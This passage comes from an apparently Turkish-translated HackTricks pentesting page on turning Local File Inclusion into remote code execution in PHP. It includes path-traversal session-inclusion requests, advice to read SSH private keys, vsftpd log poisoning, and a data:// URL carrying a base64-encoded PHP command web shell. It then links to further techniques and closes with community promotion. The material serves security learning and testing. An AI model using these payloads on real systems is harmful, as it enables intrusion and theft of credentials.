user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
```html
Çerez değerini `` olarak ayarlayın.
```
```
login=1&user=&pass=password&lang=en_us.php
```
Kullanarak PHP oturum dosyasını dahil etmek için LFI'ı kullanın.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### SSH üzerinden
Eğer ssh etkinse hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve **\/.ssh/id\_rsa** dosyasına erişmeyi deneyin.
### **vsftpd** _**günlükleri**_ aracılığıyla
FTP sunucusu vsftpd için günlükler _**/var/log/vsftpd.log**_ konumundadır. Bir Yerel Dosya Dahil Etme (LFI) zafiyeti mevcut olduğu senaryoda ve açık bir vsftpd sunucusuna erişim mümkün olduğunda, aşağıdaki adımlar düşünülebilir:
1. Giriş işlemi sırasında kullanıcı adı alanına bir PHP yükü enjekte edin.
2. Enjeksiyondan sonra, LFI'ı kullanarak _**/var/log/vsftpd.log**_ konumundaki sunucu günlüklerini alın.
### PHP base64 filtresi aracılığıyla (base64 kullanarak)
[Şu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) makalede gösterildiği gibi, PHP base64 filtresi sadece Base64 dışındakileri yok sayar. Dosya uzantısı kontrolünü atlatmak için bunu kullanabilirsiniz: Eğer base64 ile biten ".php" sağlarsanız, sadece "." işaretini yok sayacak ve base64'e "php" ekleyecektir. İşte bir örnek yük:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
### PHP filtreleri aracılığıyla (dosya gerekli değil)
Bu [**makale**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak keyfi içerik oluşturabileceğinizi** açıklar. Bu temelde, dosyaya yazmadan **keyfi php kodu oluşturabilirsiniz**.
{% content-ref url="lfi2rce-via-php-filters.md" %}
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
{% endcontent-ref %}
### Segmentasyon hatası aracılığıyla
Bir dosya **yükleyin** ve bu dosya `/tmp` içinde **geçici olarak** saklanacak, ardından **aynı istekte,** bir **segmentasyon hatası** tetikleyin ve ardından **geçici dosya silinmeyecek** ve onu arayabilirsiniz.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
{% endcontent-ref %}
### Nginx geçici dosya depolama aracılığıyla
Bir **Yerel Dosya Dahil Etme** bulduysanız ve **Nginx** PHP'nin önünde çalışıyorsa aşağıdaki teknikle RCE elde edebilirsiniz:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
{% endcontent-ref %}
### PHP\_SESSION\_UPLOAD\_PROGRESS aracılığıyla
Bir **Yerel Dosya Dahil Etme** bulduysanız ve **bir oturumunuz yoksa** ve `session.auto_start` `Off` ise bile. **Multipart POST** verilerinde **`PHP_SESSION_UPLOAD_PROGRESS`** sağlarsanız, PHP **oturumu sizin için etkinleştirecektir**. Bu, RCE elde etmek için kötüye kullanılabilir:
{% content-ref url="via-php_session_upload_progress.md" %}
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
{% endcontent-ref %}
### Windows'ta geçici dosya yüklemeleri aracılığıyla
Bir **Yerel Dosya Dahil Etme** bulduysanız ve sunucu **Windows** üzerinde çalışıyorsa RCE elde edebilirsiniz:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
{% endcontent-ref %}
### phpinfo() (file\_uploads = on) aracılığıyla
Bir **Yerel Dosya Dahil Etme** bulduysanız ve file\_uploads = on olan bir dosya **phpinfo()** açığa çıkarıyorsa RCE elde edebilirsiniz:
{% content-ref url="lfi2rce-via-phpinfo.md" %}
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
{% endcontent-ref %}
### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Yol Açığa Çıkarma aracılığıyla
Bir **Yerel Dosya Dahil Etme** bulduysanız ve geçici dosyanın yolunu **dışa aktarabilirsiniz** ancak **sunucu** dahil edilecek dosyanın **PHP işaretlerine sahip olup olmadığını kontrol ediyorsa**, bu **Yarış Koşulu** ile bu kontrolü **atlamayı** deneyebilirsiniz:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
{% endcontent-ref %}
### Sonsuz bekleyiş + kaba kuvvet aracılığıyla
LFI'yi **geçici dosyalar yüklemek** için kötüye kullanabilir ve sunucunun PHP yürütmesini **askıya almasını** sağlayabilir, ardından saatler boyunca geçici dosyayı bulmak için **dosya adlarını kaba kuvvet uygulayabilirsiniz**:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
{% endcontent-ref %}
### Ölümcül Hata Yoluyla
`/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` dosyalarından herhangi birini dahil ederseniz. (Bu hatayı atmak için aynı dosyayı 2 kez dahil etmeniz gerekir).
**Bu nasıl yararlı olabilir bilmiyorum ama olabilir.**\
_Eğer bir PHP Ölümcül Hatası oluşturursanız, yüklenen PHP geçici dosyaları silinir._
## Referanslar
* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
* [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılarak deneyimli hackerlar ve ödül avcıları ile iletişim kurun!
**Hacking Insights**\
Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin
**Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hacking dünyasını gerçek zamanlı haberler ve içgörülerle takip edin
**En Son Duyurular**\
Başlayan en yeni ödül avcılıklarını ve önemli platform güncellemelerini takip edin
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
Sıfırdan kahraman olacak şekilde AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert) ile
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.